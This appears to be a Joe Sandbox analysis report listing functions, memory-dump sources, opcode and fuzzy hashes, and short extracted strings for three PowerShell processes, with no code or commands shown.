String ID: L_^$L_^$L_^$L_^
API String ID: 0-2357752022
Opcode ID: 3df4663f2fd7cc684400fdc59ec316fda6f18f58b411a8d7b4ff128b9fe669a8
Instruction ID: a9753cf722046e31708ac60f52a3af8420017bd99525fffaebfa3cc0f54d88ba
Opcode Fuzzy Hash: 3df4663f2fd7cc684400fdc59ec316fda6f18f58b411a8d7b4ff128b9fe669a8
Instruction Fuzzy Hash: DD31F9A3B0FAC61FE356476A4C790486FA0FF6675874E53F6C1D44B0A3ED15380746A2

Analysis Process: powershell.exePID: 3940, Parent PID: 2200COMMON

Executed Functions

Function 00007FFD9B87B9FA Relevance: 1.0, Instructions: 964COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2792696519.00007FFD9B875000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B875000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffd9b875000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5cddc0b876c72f0752ce2814d67cc0968621d4782c6830b8c218ec4560a224eb
Instruction ID: ea6d80c714cb4fe20da88abbb2c3d806d118276bf7aabc13a39317babb5981ec
Opcode Fuzzy Hash: 5cddc0b876c72f0752ce2814d67cc0968621d4782c6830b8c218ec4560a224eb
Instruction Fuzzy Hash: 6C524731A0EA8D4FEB58DF5CC4A5AA87BE1FF59314F1501BED049C71A7DA24E842C780

Function 00007FFD9B946605 Relevance: .4, Instructions: 444COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2800244029.00007FFD9B940000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B940000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffd9b940000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b396c767cc5ff1dbe733a22667bdc3b3949682cf103af8ebc3f7b91406ac7bac
Instruction ID: fdcd7e32ce28b6445159b3831167b5fb048d780cb329c1a9595f152e91b652c0
Opcode Fuzzy Hash: b396c767cc5ff1dbe733a22667bdc3b3949682cf103af8ebc3f7b91406ac7bac
Instruction Fuzzy Hash: 9CD16872B2FB9E1FEBA59B6848744B57BA2EF16314B0901FED09CC71E3D918A905C341

Function 00007FFD9B87604D Relevance: .4, Instructions: 388COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2792696519.00007FFD9B875000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B875000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffd9b875000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2250b122557aac87a67eb52b57d60770d998eb4bb46e63a7678c91bad0550e34
Instruction ID: a0ebffbfe72d2cbefd9be34f9f04e424dbbb7bc9ead514c56630a0bcd1b3e0cc
Opcode Fuzzy Hash: 2250b122557aac87a67eb52b57d60770d998eb4bb46e63a7678c91bad0550e34
Instruction Fuzzy Hash: D311916261E7CA8FD7179B248C745A53FB0EF17204B0E01E7D489CB0B3D618A949D792

Function 00007FFD9B944073 Relevance: .2, Instructions: 187COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2800244029.00007FFD9B940000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B940000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffd9b940000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8422868e59a42c25148745eee0fa16af81ae269ecd083f5c06f8e8c58ba68167
Instruction ID: f319dd14609f87a84fe91ead2cff1f271378c94ff63d80a4fe4f1ef449b90b43
Opcode Fuzzy Hash: 8422868e59a42c25148745eee0fa16af81ae269ecd083f5c06f8e8c58ba68167
Instruction Fuzzy Hash: E3515B32B1EA9E1FE7A9DA5C542267477D3EFAA210B1940BEC05DC72E3DE14EC058341

Function 00007FFD9B879728 Relevance: .2, Instructions: 160COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2792696519.00007FFD9B875000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B875000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffd9b875000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b092e5b0a3795ec26188fe2649f188698386eed5fe30ab61ac4e4a7ae23357f0
Instruction ID: 15b166aa07c0b4ed492242b64d8c470f0ae3a272be54a3569b82cc156046763a
Opcode Fuzzy Hash: b092e5b0a3795ec26188fe2649f188698386eed5fe30ab61ac4e4a7ae23357f0
Instruction Fuzzy Hash: 99416B7190DB889FEB189F5C585A6A97FE0FF5A710F44426FE04C83293DA34A84587C2

Function 00007FFD9B944370 Relevance: .2, Instructions: 151COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2800244029.00007FFD9B940000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B940000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffd9b940000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8c4cbdb34e89e8b9680653b1fcd64a2bbbf58886208dcc93bf05fe6f8191ca88
Instruction ID: 05b59c23dc590cf3c996384ca1774ff762f8dc91cc139fd164aa28e82f4ac0a4
Opcode Fuzzy Hash: 8c4cbdb34e89e8b9680653b1fcd64a2bbbf58886208dcc93bf05fe6f8191ca88
Instruction Fuzzy Hash: E0412932B1EAAD1FEBB9D66C54316B477D2EF40720B4900BED05DC72A7ED14AD018381

Function 00007FFD9B75EFE4 Relevance: .1, Instructions: 125COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2784547326.00007FFD9B75D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B75D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffd9b75d000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dffdd432a740d2301d07952c32e05f3536d5cd5e185c4ceb2a3811d433c8c19c
Instruction ID: 3c46e733bf5e243aebac9bd8b6fa45206f457efe772aaa4d84ac6ed4da83d745
Opcode Fuzzy Hash: dffdd432a740d2301d07952c32e05f3536d5cd5e185c4ceb2a3811d433c8c19c
Instruction Fuzzy Hash: D2414B7090EBC44FE7569B789C559523FF0EF52320B1A06DFD088CB0B7D669A846C7A2

Function 00007FFD9B87A74C Relevance: .1, Instructions: 115COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2792696519.00007FFD9B875000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B875000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffd9b875000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 855c149ccf1183a3a7c2b190e5bfb5052318960de56325869bb61ba8de655e21
Instruction ID: d73376d6ff11f99734188dfce7c6eafd88ef5c1e69e6c4540c20c8595978100b
Opcode Fuzzy Hash: 855c149ccf1183a3a7c2b190e5bfb5052318960de56325869bb61ba8de655e21
Instruction Fuzzy Hash: 2F31FB3190DB8C8FDB59DBA898596E97FE0DB56320F0441AFC049C7163D674580AC752

Function 00007FFD9B9440BF Relevance: .1, Instructions: 100COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2800244029.00007FFD9B940000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B940000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffd9b940000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cede77ee6b392fc88c59e8d05b3b7308ceccdd54956d18dc6b028fb5b0521457
Instruction ID: ee6542605f08e04d30b9c0e1e1b7d240dc39c062953455c1e82633fb8dd66460
Opcode Fuzzy Hash: cede77ee6b392fc88c59e8d05b3b7308ceccdd54956d18dc6b028fb5b0521457
Instruction Fuzzy Hash: 0621D622B2F9AB1FE7B9DA58447223467D3EF6A250B5A40BDD05DC72F2DE14ED048341

Function 00007FFD9B9443BC Relevance: .1, Instructions: 67COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2800244029.00007FFD9B940000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B940000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffd9b940000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7b9ea989b53c67d2a44c1db6412b49e89b76af4d794ceb1e53b316441bcffc1f
Instruction ID: a53e7066c904b2b919e8aff082a7b1672b9bb7363f6b39de50cb740375a5cc06
Opcode Fuzzy Hash: 7b9ea989b53c67d2a44c1db6412b49e89b76af4d794ceb1e53b316441bcffc1f
Instruction Fuzzy Hash: EF11E332F2F9A91FE7B5DA6894706747BD2EF40A20B5A00BED09DC72A2DD15AD008741

Function 00007FFD9B8733B5 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2792696519.00007FFD9B870000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B870000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffd9b870000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8607e7f85c2bb2a5020c6518f23c7702bb5abb07c74586bc1031166d3bd47eca
Instruction ID: 240e77624845bd21eb498471991253802ac2a52bcd73a2482a697d82a952278d
Opcode Fuzzy Hash: 8607e7f85c2bb2a5020c6518f23c7702bb5abb07c74586bc1031166d3bd47eca
Instruction Fuzzy Hash: 9201A73020CB0C4FD748EF0CE451AA6B3E0FB89324F10056DE58AC36A1DA32E882CB42

Function 00007FFD9B879CF8 Relevance: .0, Instructions: 38COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2792696519.00007FFD9B875000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B875000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffd9b875000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f97eb320d4c7bf48bf63999d63e2390d44dd4ea2059f2bee46aa8e217407f7c2
Instruction ID: 8edb571eef26a6cad18c3286b5148d6a8e8320434066c122f2bcb5b3f8cd5f73
Opcode Fuzzy Hash: f97eb320d4c7bf48bf63999d63e2390d44dd4ea2059f2bee46aa8e217407f7c2
Instruction Fuzzy Hash: 8BF0243180868D8FDB06EF28886A8D57FA0EF16310B0502DBE45CC70B2DB649558CB82

Non-executed Functions

Function 00007FFD9B878BFA Relevance: 6.4, Strings: 5, Instructions: 108COMMON

Download Yara Rule

Strings

O_^<, xrefs: 00007FFD9B878C2A
O_^I, xrefs: 00007FFD9B878C72
O_^F, xrefs: 00007FFD9B878C6A
O_^6, xrefs: 00007FFD9B878BFA
O_^J, xrefs: 00007FFD9B878C7A

Memory Dump Source

Source File: 00000002.00000002.2792696519.00007FFD9B875000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B875000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffd9b875000_powershell.jbxd

Similarity

API ID:
String ID: O_^6$O_^<$O_^F$O_^I$O_^J
API String ID: 0-2439779554
Opcode ID: 34be6827bd943a032e53fa7d5eb2768ea5e9aad369a9b12a7d76afccf205d472
Instruction ID: d8568f9aa7a89ec416c942d626fcb55fc546907021652e94e0197695e1b035c1
Opcode Fuzzy Hash: 34be6827bd943a032e53fa7d5eb2768ea5e9aad369a9b12a7d76afccf205d472
Instruction Fuzzy Hash: 642149BB3044269ED30A77AEBC049D87380CBD427B34801B3D26ECF643ED14648B4690

Analysis Process: powershell.exePID: 3716, Parent PID: 2200COMMON

Executed Functions

Function 00007FFD9B946605 Relevance: 1.7, Strings: 1, Instructions: 441COMMON

Download Yara Rule

Strings

X7'T, xrefs: 00007FFD9B9467FD

Memory Dump Source

Source File: 00000004.00000002.2725330830.00007FFD9B940000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B940000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffd9b940000_powershell.jbxd

Similarity

API ID:
String ID: X7'T
API String ID: 0-3088723148
Opcode ID: f98b17d7b062d321021d6c5f37687d13b2a885bfd1877042f46f0a7f259190ef
Instruction ID: 123afe84fa370b419ee73400cb584a9f0f236e987ce0e7b790d700e14e757bcf
Opcode Fuzzy Hash: f98b17d7b062d321021d6c5f37687d13b2a885bfd1877042f46f0a7f259190ef
Instruction Fuzzy Hash: DCD169B2B2FB9D1FEBA59B6848645B57B92EF16314B0901FED05CC71E3EA18AC01C341

Function 00007FFD9B87604D Relevance: .4, Instructions: 387COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2717483125.00007FFD9B870000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B870000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffd9b870000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 70af4ac7fdbe83251e4c7077ff3e543fc594725af7b12b47ff418f089038c303
Instruction ID: 8286d9c26097c0ab6fc97aaffcad83645affec9d152a660cee58a7ebd9e26bb4
Opcode Fuzzy Hash: 70af4ac7fdbe83251e4c7077ff3e543fc594725af7b12b47ff418f089038c303
Instruction Fuzzy Hash: 8D11A06191E7CA8FD7179B7898785A53FB0EF17208B0A01E7D489CB0B3DA186949C752

Function 00007FFD9B944073 Relevance: .2, Instructions: 187COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2725330830.00007FFD9B940000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B940000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffd9b940000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fb24238566a6a7c4d5cf0a84102e3099e4f016577ec358f614279a2be25a446e
Instruction ID: f319dd14609f87a84fe91ead2cff1f271378c94ff63d80a4fe4f1ef449b90b43
Opcode Fuzzy Hash: fb24238566a6a7c4d5cf0a84102e3099e4f016577ec358f614279a2be25a446e
Instruction Fuzzy Hash: E3515B32B1EA9E1FE7A9DA5C542267477D3EFAA210B1940BEC05DC72E3DE14EC058341

Function 00007FFD9B879728 Relevance: .2, Instructions: 161COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2717483125.00007FFD9B870000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B870000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffd9b870000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7d414ee10d704b68151a625751b4f471db53c79fcfacf114ba3f030128fc81a3
Instruction ID: 84e3f5d280a93a9c8faa8bdf6119255674d54ce921b84f0dbbb3fcd93b878e96
Opcode Fuzzy Hash: 7d414ee10d704b68151a625751b4f471db53c79fcfacf114ba3f030128fc81a3
Instruction Fuzzy Hash: 23418C31A0EA888FEB18DF5C585A6B9BBE1FF59710F40416FE04C83293DA34A94587C2

Function 00007FFD9B944370 Relevance: .2, Instructions: 151COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2725330830.00007FFD9B940000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B940000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffd9b940000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 170364a96474b15c67dd87a01b75169040d6bc49b4144787be285b5ae17bcd24
Instruction ID: 05b59c23dc590cf3c996384ca1774ff762f8dc91cc139fd164aa28e82f4ac0a4
Opcode Fuzzy Hash: 170364a96474b15c67dd87a01b75169040d6bc49b4144787be285b5ae17bcd24
Instruction Fuzzy Hash: E0412932B1EAAD1FEBB9D66C54316B477D2EF40720B4900BED05DC72A7ED14AD018381

Function 00007FFD9B75EF04 Relevance: .1, Instructions: 125COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2710403766.00007FFD9B75D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B75D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffd9b75d000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 660abfe09c73a995d160348114da514aed7404f14cc483980eb3d96b528af7e2
Instruction ID: 56277b942c2b6456c2a26524015e24e5eaef8ad1ff1466ef3335278f42366246
Opcode Fuzzy Hash: 660abfe09c73a995d160348114da514aed7404f14cc483980eb3d96b528af7e2
Instruction Fuzzy Hash: 4241E87180EBC44FD7969B789C559523FF0EF57220B1A06DFD088CB1B3DA29A846C792

Function 00007FFD9B87A64C Relevance: .1, Instructions: 101COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2717483125.00007FFD9B870000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B870000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffd9b870000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 55c7714e54597f24e02082db016fed5a343b9c0559cb2e882783977f8d4b4930
Instruction ID: 079f7c071fe57be7280a3ee3302e8327753fd84ceadbd92c943d2e9a63130821
Opcode Fuzzy Hash: 55c7714e54597f24e02082db016fed5a343b9c0559cb2e882783977f8d4b4930
Instruction Fuzzy Hash: ED21373090CB4C4FDB69DB6C9C4A6F57BE0EB96330F00426BD049C31A2CA759457C791

Function 00007FFD9B9440BF Relevance: .1, Instructions: 100COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2725330830.00007FFD9B940000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B940000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffd9b940000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9fe97829e467ed4c99820f062f4141503306e2f231a812af70a92e27475adc5d
Instruction ID: ee6542605f08e04d30b9c0e1e1b7d240dc39c062953455c1e82633fb8dd66460
Opcode Fuzzy Hash: 9fe97829e467ed4c99820f062f4141503306e2f231a812af70a92e27475adc5d
Instruction Fuzzy Hash: 0621D622B2F9AB1FE7B9DA58447223467D3EF6A250B5A40BDD05DC72F2DE14ED048341

Function 00007FFD9B9443BC Relevance: .1, Instructions: 67COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2725330830.00007FFD9B940000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B940000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffd9b940000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2a8611d77e02ecec54e48f58db8c9a94654c1b6502b3ceab58921bc2d525574e
Instruction ID: a53e7066c904b2b919e8aff082a7b1672b9bb7363f6b39de50cb740375a5cc06
Opcode Fuzzy Hash: 2a8611d77e02ecec54e48f58db8c9a94654c1b6502b3ceab58921bc2d525574e
Instruction Fuzzy Hash: EF11E332F2F9A91FE7B5DA6894706747BD2EF40A20B5A00BED09DC72A2DD15AD008741

Function 00007FFD9B8733B5 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2717483125.00007FFD9B870000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B870000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffd9b870000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8607e7f85c2bb2a5020c6518f23c7702bb5abb07c74586bc1031166d3bd47eca
Instruction ID: 240e77624845bd21eb498471991253802ac2a52bcd73a2482a697d82a952278d
Opcode Fuzzy Hash: 8607e7f85c2bb2a5020c6518f23c7702bb5abb07c74586bc1031166d3bd47eca
Instruction Fuzzy Hash: 9201A73020CB0C4FD748EF0CE451AA6B3E0FB89324F10056DE58AC36A1DA32E882CB42

Non-executed Functions

Function 00007FFD9B878BFA Relevance: 6.4, Strings: 5, Instructions: 108COMMON

Download Yara Rule

Strings

O_^<, xrefs: 00007FFD9B878C2A
O_^J, xrefs: 00007FFD9B878C7A
O_^I, xrefs: 00007FFD9B878C72
O_^F, xrefs: 00007FFD9B878C6A
O_^6, xrefs: 00007FFD9B878BFA

Memory Dump Source

Source File: 00000004.00000002.2717483125.00007FFD9B870000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B870000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffd9b870000_powershell.jbxd

Similarity

API ID:
String ID: O_^6$O_^<$O_^F$O_^I$O_^J
API String ID: 0-2439779554
Opcode ID: 7e7d5976d5fab4f06b830fe4e3bf8c8316b430701e5fff264c057ff97c2c0a7f
Instruction ID: d8568f9aa7a89ec416c942d626fcb55fc546907021652e94e0197695e1b035c1
Opcode Fuzzy Hash: 7e7d5976d5fab4f06b830fe4e3bf8c8316b430701e5fff264c057ff97c2c0a7f
Instruction Fuzzy Hash: 642149BB3044269ED30A77AEBC049D87380CBD427B34801B3D26ECF643ED14648B4690

Function 00007FFD9B8789FA Relevance: 5.1, Strings: 4, Instructions: 108COMMON

Download Yara Rule

Strings

O_^, xrefs: 00007FFD9B8789FA
O_^, xrefs: 00007FFD9B878AC2
O_^, xrefs: 00007FFD9B878A7A
O_^, xrefs: 00007FFD9B878A2A

Memory Dump Source

Source File: 00000004.00000002.2717483125.00007FFD9B870000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B870000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffd9b870000_powershell.jbxd

Similarity

API ID:
String ID: O_^$O_^$O_^$O_^
API String ID: 0-934926442
Opcode ID: bcbd3fc4f285e7ed5811b2505e5d82d33e19b70269c76fd27766b71a6fd36bf8
Instruction ID: a8a85c53970b8b356d53f67798a9eb7a41ceae5d68c85a3bd567667731c31e03
Opcode Fuzzy Hash: bcbd3fc4f285e7ed5811b2505e5d82d33e19b70269c76fd27766b71a6fd36bf8
Instruction Fuzzy Hash: 6E31D4A3B0FAC61FE756872A8CB5041AF90FF6265D70A03F6C0EA4F1A3FC1429175252

Analysis Process: powershell.exePID: 6824, Parent PID: 2200COMMON

Executed Functions

Function 00007FFD9B976605 Relevance: 1.7, Strings: 1, Instructions: 444COMMON

Download Yara Rule

Strings

X7"H, xrefs: 00007FFD9B9767FD

Memory Dump Source

Source File: 00000008.00000002.2810757980.00007FFD9B970000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B970000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ffd9b970000_powershell.jbxd

Similarity

API ID:
String ID: X7"H
API String ID: 0-3513550022
Opcode ID: b6c917500f6d63239dedf0f7a029039ba5e7a4e0d5308df4e3f3dbab44ec23d8
Instruction ID: c9854e5269fcf3fbe160a91b31203d3468e536e64ded8b2bb9dc8434ccb4b9a6
Opcode Fuzzy Hash: b6c917500f6d63239dedf0f7a029039ba5e7a4e0d5308df4e3f3dbab44ec23d8
Instruction Fuzzy Hash: 59D13622A1FA8E5FEBA5DB6848A55B57BE0EF56310B0901FED05DCB0E3DA18AD05C341

Function 00007FFD9B78F364 Relevance: 1.4, Strings: 1, Instructions: 126COMMON

Download Yara Rule

Strings

EU|2, xrefs: 00007FFD9B78F3F6

Memory Dump Source

Source File: 00000008.00000002.2803282146.00007FFD9B78D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B78D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ffd9b78d000_powershell.jbxd

Similarity

API ID:
String ID: EU|2
API String ID: 0-2896493618
Opcode ID: 6b5c9afb55d8ae2fc273f8de43dc9dfcd7aaca6edd1298fdbd845c28ccc6d1f8
Instruction ID: 27f46464cc78632fa222333a8f139f472a1b2686246355fb0edc4a69c50dbc7f
Opcode Fuzzy Hash: 6b5c9afb55d8ae2fc273f8de43dc9dfcd7aaca6edd1298fdbd845c28ccc6d1f8
Instruction Fuzzy Hash: 3441287150EFC44FE7568B2998919523FF0EF56321B160ADFD088CF0B3D629A845C792

Function 00007FFD9B974073 Relevance: .2, Instructions: 187COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2810757980.00007FFD9B970000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B970000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ffd9b970000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 06e941cb8f568e77e24014320e55ae739f1c77dc6f0f3c4ab3b75a51d04ede1f
Instruction ID: 3ddd682b6781806acf145cecbd5de07867458ebcff12835996fc52cbd3a1814a
Opcode Fuzzy Hash: 06e941cb8f568e77e24014320e55ae739f1c77dc6f0f3c4ab3b75a51d04ede1f
Instruction Fuzzy Hash: 9A514C32B2EA8E1FE7A9EA5C54B267877D1DF65220B5A40BEC05DC72E3DE14EC058341

Function 00007FFD9B8A9728 Relevance: .2, Instructions: 161COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2807114934.00007FFD9B8A9000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A9000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ffd9b8a9000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6a3c1644bdcf8cefe15459e0c4fe0885bec40f21af8b3fee80fce9fcc6e7936b
Instruction ID: d89059520a9f2707bdfff66ebf0a770ca6a9f6f3b4bb973dae0d20ca59e4c88a
Opcode Fuzzy Hash: 6a3c1644bdcf8cefe15459e0c4fe0885bec40f21af8b3fee80fce9fcc6e7936b
Instruction Fuzzy Hash: 02418C71A0DA888FEB189F5C584A2B87BE1FF59310F50817FE08883292DA34BD45C7D2

Function 00007FFD9B974370 Relevance: .2, Instructions: 151COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2810757980.00007FFD9B970000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B970000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ffd9b970000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 97c590047bb3e3e9243f8fb8abdafd26b63e9908ded99f2c25a9a03299387bd0
Instruction ID: 6c7eb131ade118a656634e7adf7e1976cea97c6554dfc5c5b0f8b53885fac20d
Opcode Fuzzy Hash: 97c590047bb3e3e9243f8fb8abdafd26b63e9908ded99f2c25a9a03299387bd0
Instruction Fuzzy Hash: 4F416932B1EA5D5FEBB9D66C54B06B877D1EF40320B5A00BFD05DC72A3EA14AD008381

Function 00007FFD9B9740BF Relevance: .1, Instructions: 100COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2810757980.00007FFD9B970000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B970000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ffd9b970000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9af347fed67ba26cf18a11c75e63b860c0ab6bb3afccf7ca90aadd319642b880
Instruction ID: 40efef3fd8c8b89406888e775a2504e00c9b00fd71e03907b20e33bbbaf5356d
Opcode Fuzzy Hash: 9af347fed67ba26cf18a11c75e63b860c0ab6bb3afccf7ca90aadd319642b880
Instruction Fuzzy Hash: 6621D422B2F98B1FE7B5EA5844B227867D1EF65210B5A40BED05DC72F3DE18ED048341

Function 00007FFD9B8AA49C Relevance: .1, Instructions: 99COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2807114934.00007FFD9B8A9000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A9000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ffd9b8a9000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a0b0d2df15200adf1be970588f51b47a834fd0d48fbb18c9b98774aa52ddcac5
Instruction ID: b1288592844c4293b86b6c9f8e369d0e6e819976823bba125c538806d6c3182a
Opcode Fuzzy Hash: a0b0d2df15200adf1be970588f51b47a834fd0d48fbb18c9b98774aa52ddcac5
Instruction Fuzzy Hash: D321263190C74C4FDB59DBAC984A7E97FF0EB96320F04416BD448C3162DA74A81ACB92

Function 00007FFD9B9743BC Relevance: .1, Instructions: 67COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2810757980.00007FFD9B970000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B970000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ffd9b970000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d512a64c0620f827d608f1f86fd7a7c451dd26cfda069ac4b0970438a8123d5f
Instruction ID: 42632526f37150d48f1abaf18359424cf0a6bad5d8e86b16b12fd4b5ca0c2966
Opcode Fuzzy Hash: d512a64c0620f827d608f1f86fd7a7c451dd26cfda069ac4b0970438a8123d5f
Instruction Fuzzy Hash: 9D11E332F2F5991FE7B5DA6898B06BC7BD1EF4062075A00BED49DC72A3DA15AD008741

Function 00007FFD9B8A33B5 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2807114934.00007FFD9B8A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ffd9b8a0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
